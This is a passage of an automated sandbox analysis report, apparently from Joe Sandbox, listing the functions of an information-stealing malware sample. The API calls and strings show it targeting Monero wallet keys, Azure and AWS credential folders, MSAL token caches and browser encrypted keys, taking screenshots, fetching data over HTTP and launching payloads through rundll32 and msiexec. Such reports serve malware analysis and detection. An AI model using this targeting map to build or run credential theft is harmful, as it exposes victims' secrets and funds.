Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: d5c8df80e75dddc98cd840ff4f247a992997a05435d856bba84949205e9d465c
Instruction ID: 12287674a74fabeaf29e99c93fb27f0f7b0bad71abaed2b44eaa5d37647e6eb4
Opcode Fuzzy Hash: d5c8df80e75dddc98cd840ff4f247a992997a05435d856bba84949205e9d465c
Instruction Fuzzy Hash: 35E12FB1910608ABCB06EBA0DD96FEE7778BF24305F104159F106FA191DE35AE09DB63

Function 003BC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0118DEB8,00000000,?,003D144C,00000000,?,?), ref: 003BCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 003BCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 003BCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 003BCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 003BCAD9
StrStrA.SHLWAPI(?,0118DE40,003D0B52), ref: 003BCAF7
StrStrA.SHLWAPI(00000000,0118DE88), ref: 003BCB1E
StrStrA.SHLWAPI(?,0118E5B0,00000000,?,003D1458,00000000,?,00000000,00000000,?,01188B60,00000000,?,003D1454,00000000,?), ref: 003BCCA2
StrStrA.SHLWAPI(00000000,0118E430), ref: 003BCCB9

Part of subcall function 003BC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 003BC871
Part of subcall function 003BC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 003BC87C

StrStrA.SHLWAPI(?,0118E430,00000000,?,003D145C,00000000,?,00000000,01188B70), ref: 003BCD5A
StrStrA.SHLWAPI(00000000,01188AA0), ref: 003BCD71

Part of subcall function 003BC820: lstrcat.KERNEL32(?,003D0B46), ref: 003BC943
Part of subcall function 003BC820: lstrcat.KERNEL32(?,003D0B47), ref: 003BC957
Part of subcall function 003BC820: lstrcat.KERNEL32(?,003D0B4E), ref: 003BC978

lstrlen.KERNEL32(00000000), ref: 003BCE44
CloseHandle.KERNEL32(00000000), ref: 003BCE9C

Strings

, xrefs: 003BC9C6

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 57ba876fbef4fbc376256104a75089e88692214ae59e677b5326ee1950902d99
Instruction ID: 1340fad94e81abec13fd61a1aa7553021c8a86afb92e6d981a46a7bcf1ad6fea
Opcode Fuzzy Hash: 57ba876fbef4fbc376256104a75089e88692214ae59e677b5326ee1950902d99
Instruction Fuzzy Hash: 99E110B181060CABDB16EBA0DC96FEEB778AF14304F40415DF106EA191DF346E4ACB66

Function 003C8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

RegOpenKeyExA.ADVAPI32(00000000,0118BB18,00000000,00020019,00000000,003D05B6), ref: 003C83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 003C8426
wsprintfA.USER32 ref: 003C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 003C847B
RegCloseKey.ADVAPI32(00000000), ref: 003C848C
RegCloseKey.ADVAPI32(00000000), ref: 003C8499

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Strings

%s\%s, xrefs: 003C844D
- , xrefs: 003C85A3
?, xrefs: 003C837A

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 54f5d49b7a89fdd67113fe3279df56bf77124b2de8183a8e3980207cbd16a707
Instruction ID: 13028e42dfaad457788aa40996ee3d8b5e3610394db36a386b73d5a9f1e0bbff
Opcode Fuzzy Hash: 54f5d49b7a89fdd67113fe3279df56bf77124b2de8183a8e3980207cbd16a707
Instruction Fuzzy Hash: 66810BB191021CABDB25DB50CC95FEAB7B8FB18704F008299E109E6140DF756F89CF95

Function 003C4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 003C4DCD

Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C492C
Part of subcall function 003C4910: FindFirstFileA.KERNEL32(?,?), ref: 003C4943

lstrcat.KERNEL32(?,00000000), ref: 003C4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 003C4E59

Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FDC), ref: 003C4971
Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FE0), ref: 003C4987
Part of subcall function 003C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 003C4B7D
Part of subcall function 003C4910: FindClose.KERNEL32(000000FF), ref: 003C4B92

lstrcat.KERNEL32(?,00000000), ref: 003C4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 003C4EE5

Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C49B0
Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D08D2), ref: 003C49C5
Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C49E2
Part of subcall function 003C4910: PathMatchSpecA.SHLWAPI(?,?), ref: 003C4A1E
Part of subcall function 003C4910: lstrcat.KERNEL32(?,0118F9C8), ref: 003C4A4A
Part of subcall function 003C4910: lstrcat.KERNEL32(?,003D0FF8), ref: 003C4A5C
Part of subcall function 003C4910: lstrcat.KERNEL32(?,?), ref: 003C4A70
Part of subcall function 003C4910: lstrcat.KERNEL32(?,003D0FFC), ref: 003C4A82
Part of subcall function 003C4910: lstrcat.KERNEL32(?,?), ref: 003C4A96
Part of subcall function 003C4910: CopyFileA.KERNEL32(?,?,00000001), ref: 003C4AAC
Part of subcall function 003C4910: DeleteFileA.KERNEL32(?), ref: 003C4B31

Strings

*.*, xrefs: 003C4E64
\.azure\, xrefs: 003C4DC1
\.IdentityService\, xrefs: 003C4ED9
Azure\.azure, xrefs: 003C4DD3
Azure\.aws, xrefs: 003C4E5F
\.aws\, xrefs: 003C4E4D
*.*, xrefs: 003C4DD8
msal.cache, xrefs: 003C4EF0
Azure\.IdentityService, xrefs: 003C4EEB

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 4cbcbda3f44fe0f18f789847b59e399b4d9f5268862a30afc844557061362cfc
Instruction ID: 07ae54efab72d5bcab4c4406b240ff92634864f7e17a3c441e229930cece41e4
Opcode Fuzzy Hash: 4cbcbda3f44fe0f18f789847b59e399b4d9f5268862a30afc844557061362cfc
Instruction Fuzzy Hash: DC4195BA94020867C715F760EC57FED7338AB24704F404899B249EA1C2EEB55BC8DB92

Function 003C9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 003C906C

Strings

image/jpeg, xrefs: 003C9136

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: dabf7dfc52e55501922344d19852cad9a1951aef1aaf576da7ce07310c594f8d
Instruction ID: f48e6ab5dd39bdca4e24dc9d973642f6760fd6ad842b3a1210d679fe63cbe52d
Opcode Fuzzy Hash: dabf7dfc52e55501922344d19852cad9a1951aef1aaf576da7ce07310c594f8d
Instruction Fuzzy Hash: 8A71EFB1910208ABDB14EFE4DC89FEDB7B8BB58700F108509F515EB294DB78A905DB62

Function 003C2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

ShellExecuteEx.SHELL32(0000003C), ref: 003C31C5
ShellExecuteEx.SHELL32(0000003C), ref: 003C335D
ShellExecuteEx.SHELL32(0000003C), ref: 003C34EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 003C34BF
/passive, xrefs: 003C345B
<, xrefs: 003C3490
C:\Windows\system32\rundll32.exe, xrefs: 003C3332
.msi, xrefs: 003C3398
.dll, xrefs: 003C31E5
/i ", xrefs: 003C33E4
"" , xrefs: 003C309A

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: bd01ec339d1fd26c7097ea46ca05a5d7fd9c39a6bdedda8df0d7a6b53010d2f0
Instruction ID: a7bdadb506d92cc980b89c9d6822fa0941d7b98f906d19175dd8642c7ef55efe
Opcode Fuzzy Hash: bd01ec339d1fd26c7097ea46ca05a5d7fd9c39a6bdedda8df0d7a6b53010d2f0
Instruction Fuzzy Hash: 5F12DC7181060C9BDB1AEBA0DC92FEEB778AF14304F50415DE506AA191EF742F4ACF66

Function 003C52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B6280: InternetOpenA.WININET(003D0DFE,00000001,00000000,00000000,00000000), ref: 003B62E1
Part of subcall function 003B6280: StrCmpCA.SHLWAPI(?,0118FA48), ref: 003B6303
Part of subcall function 003B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003B6335
Part of subcall function 003B6280: HttpOpenRequestA.WININET(00000000,GET,?,0118F160,00000000,00000000,00400100,00000000), ref: 003B6385
Part of subcall function 003B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003B63BF
Part of subcall function 003B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003B63D1

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 003C5318
lstrlen.KERNEL32(00000000), ref: 003C532F

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 003C5364
lstrlen.KERNEL32(00000000), ref: 003C5383
lstrlen.KERNEL32(00000000), ref: 003C53AE

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Strings

ERROR, xrefs: 003C5432
ERROR, xrefs: 003C54A9
ERROR, xrefs: 003C530A
ERROR, xrefs: 003C546F
ERROR, xrefs: 003C53B9

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: b21d546346592c44c7efdf5e4d466af3f8902280f001b4c4313ebbe63a690603
Instruction ID: ea5a921ed8e93c0681af48a9e04b22e478cb96aac3ee1c192603527a0b99fc35
Opcode Fuzzy Hash: b21d546346592c44c7efdf5e4d466af3f8902280f001b4c4313ebbe63a690603
Instruction Fuzzy Hash: 4851F77091064CABCB1AFF60D996FEE7B79AF10308F50401CE50A9A592EF346F45DB62

Function 003C12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 5e76e75dcda4a55a7eae68f69c27809ce54b41161f2c4d41d34cce0e1aff1afd
Instruction ID: da108d6892ac1506dd23a30d1dff9ec6cd5b90375ab5de5610126c20032fa511
Opcode Fuzzy Hash: 5e76e75dcda4a55a7eae68f69c27809ce54b41161f2c4d41d34cce0e1aff1afd
Instruction Fuzzy Hash: 85C180B590020D9BCB15EF60DC89FEA7778BB64304F00459DF50AEB241EA74AE85DF92

Function 003C4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C42EC
lstrcat.KERNEL32(?,0118F790), ref: 003C430B
lstrcat.KERNEL32(?,?), ref: 003C431F
lstrcat.KERNEL32(?,0118DF30), ref: 003C4333

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003C8D90: GetFileAttributesA.KERNEL32(00000000,?,003B1B54,?,?,003D564C,?,?,003D0E1F), ref: 003C8D9F

Part of subcall function 003B9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 003B9D39

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C93C0: GlobalAlloc.KERNEL32(00000000,003C43DD,003C43DD), ref: 003C93D3

StrStrA.SHLWAPI(?,0118F700), ref: 003C43F3
GlobalFree.KERNEL32(?), ref: 003C4512

Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9AEF
Part of subcall function 003B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,003B4EEE,00000000,?), ref: 003B9B01
Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9B2A
Part of subcall function 003B9AC0: LocalFree.KERNEL32(?,?,?,?,003B4EEE,00000000,?), ref: 003B9B3F

lstrcat.KERNEL32(?,00000000), ref: 003C44A3
StrCmpCA.SHLWAPI(?,003D08D1), ref: 003C44C0
lstrcat.KERNEL32(00000000,00000000), ref: 003C44D2
lstrcat.KERNEL32(00000000,?), ref: 003C44E5
lstrcat.KERNEL32(00000000,003D0FB8), ref: 003C44F4

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 722158df973bf73a4711717db3198be70f2f40ecab3f4b1f91477a25517365df
Instruction ID: 59273cd2b4ec85681a61bdaded3d002759ff28ee88f96a89211b363c21faff39
Opcode Fuzzy Hash: 722158df973bf73a4711717db3198be70f2f40ecab3f4b1f91477a25517365df
Instruction Fuzzy Hash: FF7166B6900208ABCB15EBA0DC99FEE7379AB58304F00459CF609E7181DA75DB49DF92

Function 003B1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003B12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003B12B4
Part of subcall function 003B12A0: RtlAllocateHeap.NTDLL(00000000), ref: 003B12BB
